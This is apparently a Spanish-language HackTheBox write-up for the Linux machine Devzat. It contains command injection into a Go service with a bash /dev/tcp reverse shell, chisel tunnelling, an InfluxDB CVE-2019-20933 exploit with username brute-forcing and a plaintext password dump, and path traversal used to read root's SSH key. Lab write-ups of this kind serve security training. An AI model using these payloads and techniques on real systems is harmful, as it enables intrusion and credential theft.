Devzat es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Devzat 10.10.11.118 a /etc/hosts como devzat.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Nmap 7.92 scan initiated Wed Jan 12 08:02:12 2022 as: nmap -sV -sC -oA enumeration/nmap 10.10.11.118 Nmap scan report for 10.10.11.118 Host is up (0.047s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA) | 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA) |_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-title: Did not follow redirect to http://devzat.htb/ |_http-server-header: Apache/2.4.41 (Ubuntu) 8000/tcp open ssh (protocol 2.0) | fingerprint-strings: | NULL: |_ SSH-2.0-Go | ssh-hostkey: |_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.92%I=7%D=1/12%Time=61DE7CFD%P=x86_64-pc-linux-gnu%r(NU SF:LL,C,"SSH-2\.0-Go\r\n"); Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 12 08:02:53 2022 -- 1 IP address (1 host up) scanned in 41.71 seconds |
Revisamos los puertos existentes y vemos dos interesnates, el puerto 80 que pertenece a una página web y el puerto 8000 en el cual hay una aplicación de go mediante ssh.
Enumeración
Comenzamos la enumeración revisando el portal web a través de la url de devzat.htb
Revisamos la web y encontramos una cosa interesante casi al final de la misma, donde indica como conectarnos a un chat a través de ssh y el puerto 8000 visto anteriormente
Así que vamos a conectarnos al mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ ssh -l devbot devzat.htb -p 8000 Nickname already in use, please choose a different one. > devzat Less than a minute earlier devbot: You seem to be new here hi. Welcome to Devzat! Run /help to see what you can do. devbot: hi has joined the chat hi: how are u devbot: hi has left the chat devbot: hi stayed on for 2 minutes Welcome to the chat. There are no more users devbot: devzat has joined the chat devzat: |
Vemos la ayuda del chat
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
devzat: /help [SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat [SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from anywhere. [SYSTEM] [SYSTEM] Interesting features: [SYSTEM] • Many, many commands. Run /commands. [SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room. [SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place of newlines. [SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code to see an example. [SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running /room @user. [SYSTEM] • Timezone support, use /tz Continent/City to set your timezone. [SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new games. [SYSTEM] • Emoji replacements! (like on Slack and Discord) [SYSTEM] [SYSTEM] For replacing newlines, I often use bulkseotools.com/add-remove-line-breaks.php. [SYSTEM] [SYSTEM] Made by Ishan Goel with feature ideas from friends. [SYSTEM] Thanks to Caleb Denio for lending his server! [SYSTEM] [SYSTEM] For a list of commands run |
Y los comandos disponibles del mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
devzat: /commands [SYSTEM] Commands [SYSTEM] clear - Clears your terminal [SYSTEM] message - Sends a private message to someone [SYSTEM] users - Gets a list of the active users [SYSTEM] all - Gets a list of all users who has ever connected [SYSTEM] exit - Kicks you out of the chat incase your client was bugged [SYSTEM] bell - Toggles notifications when you get pinged [SYSTEM] room - Changes which room you are currently in [SYSTEM] id - Gets the hashed IP of the user [SYSTEM] commands - Get a list of commands [SYSTEM] nick - Change your display name [SYSTEM] color - Change your display name color [SYSTEM] timezone - Change how you view time [SYSTEM] emojis - Get a list of emojis you can use [SYSTEM] help - Get generic info about the server [SYSTEM] tictactoe - Play tictactoe [SYSTEM] hangman - Play hangman [SYSTEM] shrug - Drops a shrug emoji [SYSTEM] ascii-art - Bob ross with text [SYSTEM] example-code - Hello world! devzat: |
Después de revisar un rato el chat y las opciones disponibles, parece que no podemos hacer mucho más por ahora así que vamos a realizar una serie de enumeraciones y encontramos un dominio interesante al hacer la enumeración de virtualhosts
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ ffuf -c -u http://devzat.htb -H "Host: FUZZ.devzat.htb" -w ~/github/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://devzat.htb :: Wordlist : FUZZ: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.devzat.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 ________________________________________________ pets [Status: 200, Size: 510, Words: 20, Lines: 21] :: Progress: [4997/4997] :: Job [1/1] :: 855 req/sec :: Duration: [0:00:09] :: Errors: 0 :: |
Descubrimos la url de pets.devzat.htb que se trata de un inventario de mascotas
No parece que haya mucho más por aqui así que enumeramos directorios con gobuster y encontramos uno en concreto que nos será de ayuda
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ gobuster dir -u http://pets.devzat.htb/ -w ~/github/SecLists/Discovery/Web-Content/raft-small-words.txt -t 150 -b 200,404 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://pets.devzat.htb/ [+] Method: GET [+] Threads: 150 [+] Wordlist: /home/asdf/github/SecLists/Discovery/Web-Content/raft-small-words.txt [+] Negative Status codes: 200,404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/12 08:21:24 Starting gobuster in directory enumeration mode =============================================================== /css (Status: 301) [Size: 40] [--> /css/] /build (Status: 301) [Size: 42] [--> /build/] /server-status (Status: 403) [Size: 280] /.git (Status: 301) [Size: 41] [--> /.git/] =============================================================== 2022/01/12 08:21:45 Finished =============================================================== |
Vemos que hay un directorio de git por lo que utilizaremos la tool de git-dumper para descargar su contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
$ ~/github/git-dumper/git-dumper.py http://pets.devzat.htb/.git pets-git [-] Testing http://pets.devzat.htb/.git/HEAD [200] [-] Testing http://pets.devzat.htb/.git/ [200] [-] Fetching common files [-] Fetching http://pets.devzat.htb/.gitignore [200] [-] Fetching http://pets.devzat.htb/.git/description [200] [-] Fetching http://pets.devzat.htb/.git/hooks/applypatch-msg.sample [200] [-] Fetching http://pets.devzat.htb/.git/COMMIT_EDITMSG [200] [-] Fetching http://pets.devzat.htb/.git/hooks/pre-push.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/post-commit.sample [404] [-] Fetching http://pets.devzat.htb/.git/hooks/post-receive.sample [404] [-] Fetching http://pets.devzat.htb/.git/hooks/commit-msg.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/pre-receive.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/pre-rebase.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/post-update.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/pre-commit.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/pre-applypatch.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/prepare-commit-msg.sample [200] [-] Fetching http://pets.devzat.htb/.git/hooks/update.sample [200] [-] Fetching http://pets.devzat.htb/.git/objects/info/packs [404] [-] Fetching http://pets.devzat.htb/.git/index [200] [-] Fetching http://pets.devzat.htb/.git/info/exclude [200] [-] Finding refs/ [-] Fetching http://pets.devzat.htb/.git/FETCH_HEAD [404] [-] Fetching http://pets.devzat.htb/.git/HEAD [200] [-] Fetching http://pets.devzat.htb/.git/ORIG_HEAD [404] [-] Fetching http://pets.devzat.htb/.git/config [200] [-] Fetching http://pets.devzat.htb/.git/info/refs [404] [-] Fetching http://pets.devzat.htb/.git/logs/HEAD [200] [-] Fetching http://pets.devzat.htb/.git/logs/refs/heads/master [200] [-] Fetching http://pets.devzat.htb/.git/logs/refs/remotes/origin/HEAD [404] [-] Fetching http://pets.devzat.htb/.git/logs/refs/remotes/origin/master [404] [-] Fetching http://pets.devzat.htb/.git/packed-refs [404] [-] Fetching http://pets.devzat.htb/.git/logs/refs/stash [404] [-] Fetching http://pets.devzat.htb/.git/refs/heads/master [200] [-] Fetching http://pets.devzat.htb/.git/refs/remotes/origin/HEAD [404] [-] Fetching http://pets.devzat.htb/.git/refs/remotes/origin/master [404] [-] Fetching http://pets.devzat.htb/.git/refs/stash [404] [-] Fetching http://pets.devzat.htb/.git/refs/wip/wtree/refs/heads/master [404] [-] Fetching http://pets.devzat.htb/.git/refs/wip/index/refs/heads/master [404] [-] Finding packs [-] Finding objects [-] Fetching objects [-] Fetching http://pets.devzat.htb/.git/objects/53/5028803d222b0e4e9174f56529c0ed9fece4e0 [200] [-] Fetching http://pets.devzat.htb/.git/objects/7e/58517e9052d2ce28d12c549dc6ad30423e4c15 [200] [-] Fetching http://pets.devzat.htb/.git/objects/3c/6dd07ff39376f9d6f513b06167cc46b3a5af98 [200] [-] Fetching http://pets.devzat.htb/.git/objects/bc/b397a0fe8794bf9f03b934812f1efee5533f34 [200] [-] Fetching http://pets.devzat.htb/.git/objects/93/28c7f72254a754c91fddfd3c7e62c1251a2828 [200] [-] Fetching http://pets.devzat.htb/.git/objects/5b/2f2f4b425c4a753d5fb1bd01df5c2389dd95e0 [200] [-] Fetching http://pets.devzat.htb/.git/objects/da/93220bc34984be11385afbbe6cd044e7b455eb [200] [-] Fetching http://pets.devzat.htb/.git/objects/ef/07a04ebb2fc92cf74a39e0e4b843630666a705 [200] [-] Fetching http://pets.devzat.htb/.git/objects/69/f1153887d2790c94f23a00c6f85958cf198418 [200] [-] Fetching http://pets.devzat.htb/.git/objects/e1/e271c00e31d309e9bab411caeef86d6d6d0d57 [200] [-] Fetching http://pets.devzat.htb/.git/objects/47/7b607f55d0d610decf739027ad1cad7846e8a1 [200] [-] Fetching http://pets.devzat.htb/.git/objects/59/b0e7c7cdc9f76c39eac534d56f2d92d1f995fe [200] [-] Fetching http://pets.devzat.htb/.git/objects/d1/ac9ba1169e4076832034c5585e1c5bf9d6f83c [200] [-] Fetching http://pets.devzat.htb/.git/objects/94/caeb6c465d2de18aa8cf364c56dd7515ea2a1a [200] [-] Fetching http://pets.devzat.htb/.git/objects/ae/444e098873c82b664e7e6204594e5db26126ff [200] [-] Fetching http://pets.devzat.htb/.git/objects/9d/f490e8cfdd75704d31f518caf76ab34494b124 [200] [-] Fetching http://pets.devzat.htb/.git/objects/03/cd4553f4c458eaef2f9734925b4e6e8c0d6df9 [200] [-] Fetching http://pets.devzat.htb/.git/objects/50/a0732c90552ff2e7ddd92d79fa964c0d9cd5eb [200] [-] Fetching http://pets.devzat.htb/.git/objects/b8/a8f656e1607a2c36884d3165872ef3515b5879 [200] [-] Fetching http://pets.devzat.htb/.git/objects/7b/1ba8363499e091996af78355e71d504b220312 [200] [-] Fetching http://pets.devzat.htb/.git/objects/bb/28a9414d456a3e71bc1ffca30e95b98f6dc2f1 [200] [-] Fetching http://pets.devzat.htb/.git/objects/e9/f54b13d5e925602e04501415ced4bc0bc881d2 [200] [-] Fetching http://pets.devzat.htb/.git/objects/46/4614f32483e1fde60ee53f5d3b4d468d80ff62 [200] [-] Fetching http://pets.devzat.htb/.git/objects/dc/52d954d8d7f62c82cf63236d27093764a3d046 [200] [-] Fetching http://pets.devzat.htb/.git/objects/73/c1a4d5d156b6ddc62a7e3eba1c206bd6ad19c8 [200] [-] Fetching http://pets.devzat.htb/.git/objects/9d/ba8c340bf81622be7b48a7a3546869bfb851d4 [200] [-] Fetching http://pets.devzat.htb/.git/objects/fc/567cd2f11d83683d9eb4ca1a5fdc912f7d417c [200] [-] Fetching http://pets.devzat.htb/.git/objects/d0/5ea581fbbf17eb0d3139f9937ac6a8fde98685 [200] [-] Fetching http://pets.devzat.htb/.git/objects/54/f95a54c49178dd5d496058e4ee99829748c49a [200] [-] Fetching http://pets.devzat.htb/.git/objects/fa/e180dacc52937c1d6a24636431663d6754fef5 [200] [-] Fetching http://pets.devzat.htb/.git/objects/b0/00a57acd3e3027fac564a394704a66c824b76d [200] [-] Fetching http://pets.devzat.htb/.git/objects/00/00000000000000000000000000000000000000 [404] [-] Fetching http://pets.devzat.htb/.git/objects/a4/04baa1852e12d51e5941285100091e9380bb03 [200] [-] Fetching http://pets.devzat.htb/.git/objects/82/74d7a547c0c3854c074579dfc359664082a8f6 [200] [-] Fetching http://pets.devzat.htb/.git/objects/1b/ac702fbb64129fc77d16b3e0c6652cf2ebc852 [200] [-] Fetching http://pets.devzat.htb/.git/objects/46/24e1f42ce009c31dba5a7c05df4c74472bd5be [200] [-] Fetching http://pets.devzat.htb/.git/objects/55/1abaa3c707703936e5e31b8e4645b35e5f6c07 [200] [-] Fetching http://pets.devzat.htb/.git/objects/8d/a69971e32e6e08cae489b40731845d1de13258 [200] [-] Fetching http://pets.devzat.htb/.git/objects/3a/e86c86b0053b79cdbfc1456d6059986a9d3813 [200] [-] Fetching http://pets.devzat.htb/.git/objects/2f/37bf8e3a0ce61b74fec752fad017c363511d31 [200] [-] Fetching http://pets.devzat.htb/.git/objects/d5/84aafd3a034f1f93b4c2cfa285a77798965c2d [200] [-] Fetching http://pets.devzat.htb/.git/objects/af/e315244f6dae3beda0159693d25a6e0466dd90 [200] [-] Fetching http://pets.devzat.htb/.git/objects/6f/3c2fa527470bae3ce951717b431c2fe5c38332 [200] [-] Fetching http://pets.devzat.htb/.git/objects/1d/69311c0a33ed5f21e8384641b310cc24e5701c [200] [-] Fetching http://pets.devzat.htb/.git/objects/db/70e73e473f8ed16d596ab0fd373f3423fc8512 [200] [-] Fetching http://pets.devzat.htb/.git/objects/68/27c53e0d5e2f69f9fa7eb4f5b4b05ee429f539 [200] [-] Fetching http://pets.devzat.htb/.git/objects/bd/7e818ef2c4c78fe5f61a0285df390aa3fa0e43 [200] [-] Fetching http://pets.devzat.htb/.git/objects/f3/3e8162997aaa9da582aa81428ee87aa48953a6 [200] [-] Fetching http://pets.devzat.htb/.git/objects/d5/eee74298e64b35d51a1ded2a482ae9cbbfd3c1 [200] [-] Fetching http://pets.devzat.htb/.git/objects/7c/8dc57a3e2266715fac1ccdb4d677982154c16d [200] [-] Fetching http://pets.devzat.htb/.git/objects/17/b8e146f96cd4cd6bd9d5a9215ade0e8cad656e [200] [-] Fetching http://pets.devzat.htb/.git/objects/5d/cebd6a2a7127228bf4330ae18b78785942ec19 [200] [-] Fetching http://pets.devzat.htb/.git/objects/4e/48a46697302eb89d858229ec12ad23edd9b259 [200] [-] Fetching http://pets.devzat.htb/.git/objects/dc/e459d0e5a832b08688e2331557535d60d8a171 [200] [-] Fetching http://pets.devzat.htb/.git/objects/3e/967e5015bbcd3460dd43f8acc05b3125eac4cd [200] [-] Fetching http://pets.devzat.htb/.git/objects/47/a0383d182b9413440099ee04c25954e08494e8 [200] [-] Fetching http://pets.devzat.htb/.git/objects/d9/2ef698d7cbc3c1014a125e4dcd53be770d5beb [200] [-] Fetching http://pets.devzat.htb/.git/objects/28/a51e070175ab78da05529ff059367df9df3e57 [200] [-] Running git checkout . |
Revisamos el código existente y observamos que cuando carga la especie, ejecuta el comando sin aplicar ninguna validación ni saneamiento sobre la misma, por lo que puede ser un punto de entrada
|
1 2 3 4 5 6 7 8 |
func loadCharacter(species string) string { cmd := exec.Command("sh", "-c", "cat characteristics/"+species) stdoutStderr, err := cmd.CombinedOutput() if err != nil { return err.Error() } return string(stdoutStderr) } |
Dicho esto interceptaremos la petición de creación de mascota con burp suite y editaremos el valor del campo species por nuestra rev shell que será la siguiente
|
1 |
bash -i >& /dev/tcp/IP/PORT 0>&1 |
La codificamos en base 64 y la enviaremos a través de burp
Y obtendremos una shell con el usuario patrick en nuestra escucha
|
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.2] from devzat.htb [10.10.11.118] 38912 bash: cannot set terminal process group (822): Inappropriate ioctl for device bash: no job control in this shell patrick@devzat:~/pets$ id id uid=1000(patrick) gid=1000(patrick) groups=1000(patrick) patrick@devzat:~/pets$ |
Ya estamos dentro, pero este usuario no es capaz de obtener la flag así que vamos a enumerar el sistema en detalle y encontramos un proceso muy interesante
|
1 2 |
patrick@devzat:~$ ps aux|grep docker| grep -v grep|grep proxy root 1253 0.0 0.1 549312 3888 ? Sl 07:02 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8086 -container-ip 172.17.0.2 -container-port 8086 |
En la máquina existe un contendor con el cual redirecciona el puerto 8086 de local al mismo, así que vamos a ver que hay aqui.
Para ello necesitaremos abrir un tunel entre nuestra máquina y la víctima y para ello utilizaremos chisel.
Así que vamos a ello, en primer lugar necesitaremos levantar el servidor
|
1 2 3 4 |
$ chisel server -p 8000 --reverse 2022/01/12 09:13:42 server: Reverse tunnelling enabled 2022/01/12 09:13:42 server: Fingerprint 73p8CtOWHKemanx5sjWhIx6yTBWl5lYJ3GU3cYHi03Y= 2022/01/12 09:13:42 server: Listening on http://0.0.0.0:8000 |
Posteriormente levantamos el cliente que se conectará a nuestro servidor
|
1 2 3 |
patrick@devzat:/tmp$ ./chisel_1.7.6_linux_amd64 client 10.10.14.2:8000 R:8086 2022/01/12 08:40:20 client: Connecting to ws://10.10.14.2:8000 2022/01/12 08:40:21 client: Connected (Latency 60.55383ms) |
Y veremos como tenemos la escucha y el puerto 8086 de la máquina devzat redireccionado al 8086 local
|
1 2 3 4 5 6 |
$ chisel server -p 8000 --reverse 2022/01/12 09:32:28 server: Reverse tunnelling enabled 2022/01/12 09:32:28 server: Fingerprint UkgTUpewy1KFU02O0qg/aR5rd/kBTX14sI3Fgk/RFtY= 2022/01/12 09:32:28 server: Listening on http://0.0.0.0:8000 2022/01/12 09:32:28 server: session#1: Client version (1.7.6) differs from server version (0.0.0-src) 2022/01/12 09:35:07 server: session#2: tun: proxy#R:8086=>8086: Listening |
Así que vamos a utilizar nmap para descubrir que hay en ese puerto
|
1 2 3 4 5 6 7 8 9 |
# Nmap 7.92 scan initiated Wed Jan 12 09:36:31 2022 as: nmap -p 8086 -sV -oA enumeration/nmap_2 127.0.0.1 Nmap scan report for localhost (127.0.0.1) Host is up (0.00014s latency). PORT STATE SERVICE VERSION 8086/tcp open http InfluxDB http admin 1.7.5 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 12 09:36:38 2022 -- 1 IP address (1 host up) scanned in 7.19 seconds |
Descubrimos que se trata de un InfluxDB y además sabemos también su versión 1.7.5 por lo que vamos a google y encontramos la vulnerabilidad CVE-2019-20933 y un exploit público para su explotación
Así que lo ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
$ python3 __main__.py _____ __ _ _____ ____ ______ _ _ _ |_ _| / _| | | __ \| _ \ | ____| | | (_) | | | _ __ | |_| |_ ___ __ | | | |_) | | |__ __ ___ __ | | ___ _| |_ | | | '_ \| _| | | | \ \/ / | | | _ < | __| \ \/ / '_ \| |/ _ \| | __| _| |_| | | | | | | |_| |> <| |__| | |_) | | |____ > <| |_) | | (_) | | |_ |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/ |______/_/\_\ .__/|_|\___/|_|\__| | | |_| CVE-2019-20933 Insert ip host (default localhost): Insert port (default 8086): Insert influxdb user (wordlist path to bruteforce username): /home/asdf/github/SecLists/Usernames/Names/names.txt Start username bruteforce [x] aaliyah [x] aaren [x] aarika [x] aaron [x] aartjan [x] aarushi [x] abagael [x] abagail [x] abahri [x] abbas [x] abbe [x] abbey [x] abbi [x] abbie [x] abby [x] abbye [x] abdalla [x] abdallah [x] abdul [x] abdullah [x] abe [x] abel [x] abi [x] abia [x] abigael [x] abigail [x] abigale [x] abra [x] abraham [x] abram [x] abree [x] abrianna [x] abriel [x] abrielle [x] abu [x] aby [x] acacia [x] access [x] accounting [x] ace [x] achal [x] achamma [x] action [x] ada [x] adah [x] adair [x] adalia [x] adaline [x] adalyn [x] adam [x] adan [x] adara [x] adda [x] addi [x] addia [x] addie [x] addilyn [x] addison [x] addons [x] addy [x] ade [x] adel [x] adela [x] adelaida [x] adelaide [x] adele [x] adelene [x] adelheid [x] adelia [x] adelice [x] adelina [x] adelind [x] adeline [x] adella [x] adelle [x] adelynn [x] aden [x] adena [x] adeniyi [x] adey [x] adi [x] adiana [x] adie [x] adina [x] aditya [v] admin Host vulnerable !!! Databases list: 1) devzat 2) _internal Insert database name (exit to close): |
Y bingo!, vamos a revisar que tablas existen en el esquema devzat
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
[devzat] Insert query (exit to change db): show measurements { "results": [ { "series": [ { "columns": [ "name" ], "name": "measurements", "values": [ [ "user" ] ] } ], "statement_id": 0 } ] } |
Y vamos a sacar los datos de la tabla user
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
[devzat] Insert query (exit to change db): select * from "user" { "results": [ { "series": [ { "columns": [ "time", "enabled", "password", "username" ], "name": "user", "values": [ [ "2021-06-22T20:04:16.313965493Z", false, "WillyWonka2021", "wilhelm" ], [ "2021-06-22T20:04:16.320782034Z", true, "woBeeYareedahc7Oogeephies7Aiseci", "catherine" ], [ "2021-06-22T20:04:16.996682002Z", true, "RoyalQueenBee$", "charles" ] ] } ], "statement_id": 0 } ] } |
Y tenemos una password.
Obteniendo la flag de user
Utilizamos la password obtenida para escalar privilegios y conseguir la primera flag
|
1 2 3 4 5 6 7 |
patrick@devzat:~$ su - catherine Password: catherine@devzat:~$ ls -l total 4 -r-------- 1 catherine catherine 33 Jan 12 07:02 user.txt catherine@devzat:~$ cat user.txt 4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf |
Escalado de privilegios
Bueno llegados a este punto, vamos a enumerar otra vez la máquina a ver que descubrimos ahora y encontramos dos backups muy suculentos
|
1 2 3 4 5 6 7 8 9 |
catherine@devzat:/var/backups$ ll total 140 drwxr-xr-x 2 root root 4096 Sep 29 16:25 ./ drwxr-xr-x 14 root root 4096 Jun 22 2021 ../ -rw-r--r-- 1 root root 59142 Sep 28 18:45 apt.extended_states.0 -rw-r--r-- 1 root root 6588 Sep 21 20:17 apt.extended_states.1.gz -rw-r--r-- 1 root root 6602 Jul 16 06:41 apt.extended_states.2.gz -rw------- 1 catherine catherine 28297 Jul 16 07:00 devzat-dev.zip -rw------- 1 catherine catherine 27567 Jul 16 07:00 devzat-main.zip |
Uno corresponde al entorno de desarrollo y el otro al entorno principal al que nos conectamos anteriormente, así que nos descargamos los mismos y revisamos las diferencias entre ambos entornos, en concreto, y después de un rato buscando, del fichero commands.go
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 |
$ diff main/commands.go dev/commands.go 3a4 > "bufio" 4a6,7 > "os" > "path/filepath" 36a40 > file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil} 38c42,101 < commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode} --- > commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file} > } > > func fileCommand(u *user, args []string) { > if len(args) < 1 { > u.system("Please provide file to print and the password") > return > } > > if len(args) < 2 { > u.system("You need to provide the correct password to use this function") > return > } > > path := args[0] > pass := args[1] > > // Check my secure password > if pass != "CeilingCatStillAThingIn2021?" { > u.system("You did provide the wrong password") > return > } > > // Get CWD > cwd, err := os.Getwd() > if err != nil { > u.system(err.Error()) > } > > // Construct path to print > printPath := filepath.Join(cwd, path) > > // Check if file exists > if _, err := os.Stat(printPath); err == nil { > // exists, print > file, err := os.Open(printPath) > if err != nil { > u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error())) > return > } > defer file.Close() > > scanner := bufio.NewScanner(file) > for scanner.Scan() { > u.system(scanner.Text()) > } > > if err := scanner.Err(); err != nil { > u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error())) > } > > return > > } else if os.IsNotExist(err) { > // does not exist, print error > u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath)) > return > } > // bokred? > u.system("Something went badly wrong.") |
Y vemos que hay una diferencia entre ambos entornos, y es que en dev hay un comando que no pasó a main
|
1 2 3 |
< commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode} --- > commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file} |
Además el puerto del entorno de dev es diferente
|
1 2 |
$ cat devchat.go |grep "port =" port = 8443 |
Así que vamos a conectarnos y a probar el mismo
|
1 2 3 4 5 6 7 8 9 |
catherine@devzat:/var/backups$ ssh -l test localhost -p 8443 The authenticity of host '[localhost]:8443 ([127.0.0.1]:8443)' can't be established. ED25519 key fingerprint is SHA256:liAkhV56PrAa5ORjJC5MU4YSl8kfNXp+QuljetKw0XU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[localhost]:8443' (ED25519) to the list of known hosts. Welcome to the chat. There are no more users devbot: test has joined the chat test: /file [SYSTEM] Please provide file to print and the password |
Parece que podemos obtener cualquier fichero del servidor así que vamos a tratar de obtener la key ssh del usuario root
|
1 2 3 4 5 6 7 8 9 |
test: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021? [SYSTEM] -----BEGIN OPENSSH PRIVATE KEY----- [SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW [SYSTEM] ...... [SYSTEM] ...... [SYSTEM] ...... [SYSTEM] ..... [SYSTEM] -----END OPENSSH PRIVATE KEY----- test: |
Y Bingo! la tenemos, aunque obviamente no vamos a ponerla aquí también.
Obteniendo la flag de root
Ahora que ya tenemos la key de root la utilizaremos para acceder por ssh y obtener la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$ ssh -i keys/root.pem root@devzat.htb Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 12 Jan 2022 09:10:41 AM UTC System load: 0.8 Processes: 245 Usage of /: 60.0% of 7.81GB Users logged in: 1 Memory usage: 40% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for eth0: 10.10.11.118 107 updates can be applied immediately. 33 of these updates are standard security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Oct 11 14:28:01 2021 root@devzat:~# ls -l total 12 drwxr-x--- 2 root root 4096 Jul 16 06:56 devzat drwxr-xr-x 3 root root 4096 Jun 22 2021 go -r-------- 1 root root 33 Jan 12 07:02 root.txt root@devzat:~# cat root.txt 9xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx6 root@devzat:~# |
